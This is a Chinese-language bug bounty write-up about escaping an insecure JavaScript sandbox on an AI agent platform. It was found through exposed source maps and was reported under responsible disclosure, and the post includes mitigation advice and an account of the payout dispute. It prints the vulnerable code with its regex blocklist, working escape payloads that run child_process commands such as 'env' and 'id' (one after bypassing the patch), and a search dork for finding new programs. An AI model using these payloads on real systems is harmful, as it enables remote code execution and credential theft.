通过不安全的JS沙盒绕过实现远程代码执行
如何通过暴露的JS源映射文件导致AI平台沙盒逃逸与远程代码执行
大家好!❤️
如果你想找到更多漏洞,请把重点放在测试较少的应用或功能上。在漏洞赏金领域,大多数热门项目已经通过标准方法论被测试了多次,这降低了发现新东西的几率。
然而,仍然有一种方法可以接触到尚未被众多研究人员公开测试的应用。
这里有一个简单的技巧。使用下面的谷歌搜索语法,并从谷歌搜索工具中应用“过去一周”的筛选条件:
("Bug Bounty Program" | ("Vulnerability" & "Reward")) -bugcrowd -hackerone -yeswehack -intigriti -immunefi
该查询显示了在过去一周内启动或更新的公开漏洞赏金计划。它同时排除了主要的漏洞赏金平台,以减少噪音和重复结果。
通过这种方法,我发现了一家AI初创公司,其漏洞赏金计划刚刚启动。
免责声明: 本文仅用于教育目的。所有发现均在负责任的披露下进行。受影响组织的名称和敏感细节已被作者有意隐去。未滥用任何数据。
在审查一个范围内的Web应用时,我注意到一个部署配置错误,导致了目录列出。
我爬取了暴露的目录,但起初没有发现任何有趣的东西。然而,我注意到了多个大型JavaScript源映射(.js.map)文件。
对于那些可能不熟悉的人来说,源映射用于开发和调试。它们将压缩后的JavaScript映射回原始源代码,包括变量名、函数、文件结构,甚至注释。
通过下载暴露的.map文件并使用像sourcemapper这样的开源工具,可以重构出原始的JavaScript/TypeScript源代码。
我使用VS Code审查了恢复出的源代码。
在审查过程中,我发现了一个有趣的文件webpack:/_N_E/src/app/api/utils/utils.ts,其中包含一个sandboxedEval函数。
[...]
function updateCodeNode(code: string) {
const regex = /\{\{(.*?)\}\}/g;
let updatedCode = `${code}`.trim()
.replace(regex, (match, innerTemplate) => {
return `workflow.${innerTemplate}`;
})
.replaceAll('console.log', 'logFunc')
.replaceAll('console.error', 'errorFunc')
.replaceAll('console.warn', 'warnFunc');
return updatedCode;
}
// 在沙盒中安全执行代码并捕获控制台输出的函数
export async function sandboxedEval(
workflow: Record<string, any>,
code: string,
input: Record<string, any> | null = null
): Promise<{ result: any; logs: Record<string, string>[] }> {
// 捕获控制台输出
const logs: Record<string, string>[] = [];
[...]
const sanitizeCode = (code: string): string => {
const dangerousPatterns = [
/process\./g,
/require\(/g,
/import\s+/g,
/export\s+/g,
/eval\(/g,
/Function\(/g,
/document\./g,
/window\./g,
/global\./g,
];
let sanitizedCode = code;
dangerousPatterns.forEach((pattern) => {
if (pattern.test(sanitizedCode)) {
console.log('pattern found: ', pattern);
throw new Error('Cannot execute code with dangerous patterns');
}
sanitizedCode = sanitizedCode.replace(pattern, '/* blocked */');
});
return sanitizedCode;
};
try {
// 为执行创建一个简单的环境
let sandbox: any = {
logFunc,
errorFunc,
warnFunc,
Math,
Date,
workflow: workflow,
output: null,
};
// 向沙盒添加输入
if (input) {
sandbox.input = input;
}
sanitizeCode(code);
const updatedCode = updateCodeNode(code) + '\nreturn null;';
// 限制执行作用域
// const func = new Function('sandbox', `with (sandbox) { return (function() { ${updatedCode} })(); }`);
// const result = func(sandbox);
const func = new Function('sandbox', `with (sandbox) { return (async function() { ${updatedCode} })(); }`);
const result = await func(sandbox);
return { result: sandbox.output ? sandbox.output : result, logs };
} catch (e: any) {
throw new Error(`Error in executing code: '${e.message}'`);
}
}
[...]
该实现依赖于危险的结构,如new Function()和with(),并结合了脆弱的基于正则表达式的净化。这些模式众所周知容易受到逃逸攻击、对象遍历和原型污染的影响。
下一个问题是:这段代码实际用在哪里?
为了找到答案,我探索了应用程序的功能。该应用是一个AI代理平台,带有可视化流程构建器。它允许用户在构建代理工作流时嵌入自定义JavaScript。为此,该平台使用了一个自定义的“沙盒化”JavaScript评估函数来(不)安全地执行用户提供的代码。
在映射了功能之后,很明显我之前审查的漏洞代码直接用于此功能。
漏洞利用/载荷
此时,很明显沙盒实现是不安全的,可以被绕过以实现对底层服务器的远程代码执行。
利用JavaScript的执行模型,我首先获取了对全局对象的引用:
let g = (function() { return this })();
这会创建一个匿名函数并立即执行。在非严格模式下,如果一个函数不是作为对象的方法被调用,this默认指向全局对象(在Node.js中是global)。
从全局对象中,我访问了Function构造函数,并用它来触及Node.js的内部,特别是require()函数:
let r = g.constructor.constructor("return this['process']['mainModule']['require']")();
g.constructor.constructor是一个技巧来获取Function构造函数。通过向Function构造函数传递一个字符串,代码会创建一个在全局作用域中执行的新函数。它特别针对require函数,这是Node.js加载模块的方式。
一旦require()可被访问,我导入了child_process模块,并使用execSync执行了一个操作系统命令:
let o = r('child_process').exe[c]Sync('env').toString();
logFunc(o);
注意:Medium不允许发布包含execSync()的代码块。为遵守其内容政策,我在本文中将其重命名为exe[c]Sync()。
现在代码有了require(存储在r中),它用它来加载child_process模块。execSync('env')在服务器上运行shell命令env。该命令列出所有环境变量。
最后,它获取env命令的输出(字符串o)并将其发送到日志记录函数。
我在应用的脚本编辑器功能中插入了以下最终的JavaScript载荷:
let g = (function() { return this })();
let r = g.constructor.constructor("return this['process']['mainModule']['require']")();
let o = r('child_process').exe[c]Sync('env').toString();
logFunc(o);
输出包含230多个环境变量,包括敏感的令牌和凭据:
[...]
AIRBYTE_API_KEY_PRO=[REDACTED]
AIRBYTE_API_KEY=[REDACTED]
AWS_ACCESS_KEY_ID=[REDACTED]
AWS_SECRET_ACCESS_KEY=[REDACTED]
OPENAI_API_KEY=sk-[REDACTED]
POSTGRES_PASSWORD=[REDACTED]
STRIPE_SECRET_KEY=sk_live_[REDACTED]
[...]
这证实了服务器上存在任意命令执行,导致了完全的远程代码执行。
影响
攻击者能实现什么?
- 在后端服务器上完全远程执行命令。
- 暴露所有环境变量,包括AWS、GitHub、OpenAI和Stripe凭证等敏感秘密。
- 利用初始访问点进行横向移动,破坏其他连接的系统,并扩大整体攻击面。
- 潜在删除数据、部署恶意软件(例如加密矿工)。
缓解措施
我推荐了多种修复措施来解决根本原因和更广泛的风险。我建议禁用目录列出,并确保JavaScript源映射永远不会在生产环境中暴露。
对于沙盒评估逻辑,我建议完全避免自定义的进程内JavaScript执行。在无法避免动态执行的情况下,我建议使用一个强化的沙盒库,如isolated-vm,避免基于正则表达式的净化,并在单独的Docker容器中运行不受信任的代码,配合严格的隔离、最小权限,并且不访问环境变量。
后续情况
我在2025年7月23日报告了两个问题:
- 通过目录列出暴露JavaScript源映射[低危]
- 通过不安全的JavaScript沙盒绕过实现远程代码执行[高危]
当天,公司CTO确认了这两个报告,并证实了问题有效:
CTO — “感谢您详细的报告以及将此关键问题提请我们注意。我们承认您发现的漏洞的严重性,并感谢您清晰的演示和文档。… 一旦修复方案在内部实施并验证,我们将向您更新解决状态,并确保您获得适当的奖励,以表彰您的负责任的披露和发现的影响力。”
他们在几天内修补了这个问题。
将近两个月后,即2025年9月18日,在我提醒之后,我收到了两个漏洞的合并奖励**$2X0**,尽管他们的政策为关键问题列出了更高的奖励范围。
当我要求澄清时,CTO回复说:
CTO — “[…] 我们将两个漏洞归类为相关联,意味着如果没有第一个,第二个就无法被利用,即使它更关键。目前,鉴于威胁的影响和我们的共同利益,我们将此漏洞视为中等严重程度 […] 我们正在根据我们认为‘公平’的原则来平衡支出和奖励。但是,未来肯定会有更多合作机会。”
我对严重性降级感到不满,于是在下一封邮件中表达了我的异议。
经过多次跟进和提醒后,在2025年12月9日,CEO回应:
CEO — “[…] 如前所述,这两个发现被合并评估,并评定为中等严重性级别。基于此评估,已根据我们的漏洞赏金计划政策发放了相应且成比例的奖励。 […] 关于RCE的发现,它与一个源自第三方Java库并被广泛利用的零日漏洞相关。尽管此问题源于外部组件,但我们迅速解决了它,并为您的贡献提供了周到的奖励。”
他称其为“源自第三方Java库并被广泛利用的零日漏洞”。真的吗!?我知道受影响的文件是由他自己的团队编写和维护的。那时,我意识到继续争论没有意义。有些仗不值得花费时间和精力,这就是其中之一。¯\_(ツ)_/¯
事情通常就是这样结束的。一个彻头彻尾的RCE,真实的影响,以及一个几乎无法反映付出的奖励。当一个“关键”漏洞被降级为“中等”(以减少不适/责任)时,你会有一瞬间感到不爽。然后你会微笑。
因为如果你做这行足够久,你就会知道真相。真正的满足感从来不是回报或标签。而是发现了一个经验丰富的开发团队所遗漏的东西。
于是你关闭报告,深吸一口气,然后重新开始测试。
——win3zz
编辑: 昨天,在写完这篇博文后,我再次测试了同一个功能。
你猜怎么着!?
对我之前的载荷稍作调整,我绕过了他们实施的后端修复:
let g = (function() { return this })();
let r = g['constructor']['constructor']("return this['process']['main'+'Module']['require']")();
let o = r('child_'+'process')['execSync']('id').toString();
output = o;
命令输出:
uid=1000(node) gid=1000(node) groups=1000(node)
/app/src/utils.ts文件显示他们从未实施我建议的解决方案;事实上,他们只是黑名单了我载荷中的一些重要关键词。
const dangerousPatterns = [
/process\./g,
/require\(/g,
/eval\(/g,
/Function\(/g,
/child_process/g,
/mainModule/g,
/constructor\(/g,
/execSync\(/g,
];
यथा कर्म तथा फलम्। CSD0tFqvECLokhw9aBeRqmmn8ThO8Fy72CphyexdoHYQp7H87wipeot77E7H0uLTQBO9+Aq5BQQIFdciTRfOcLr8Osdr+n4Be3aTzizGfOs=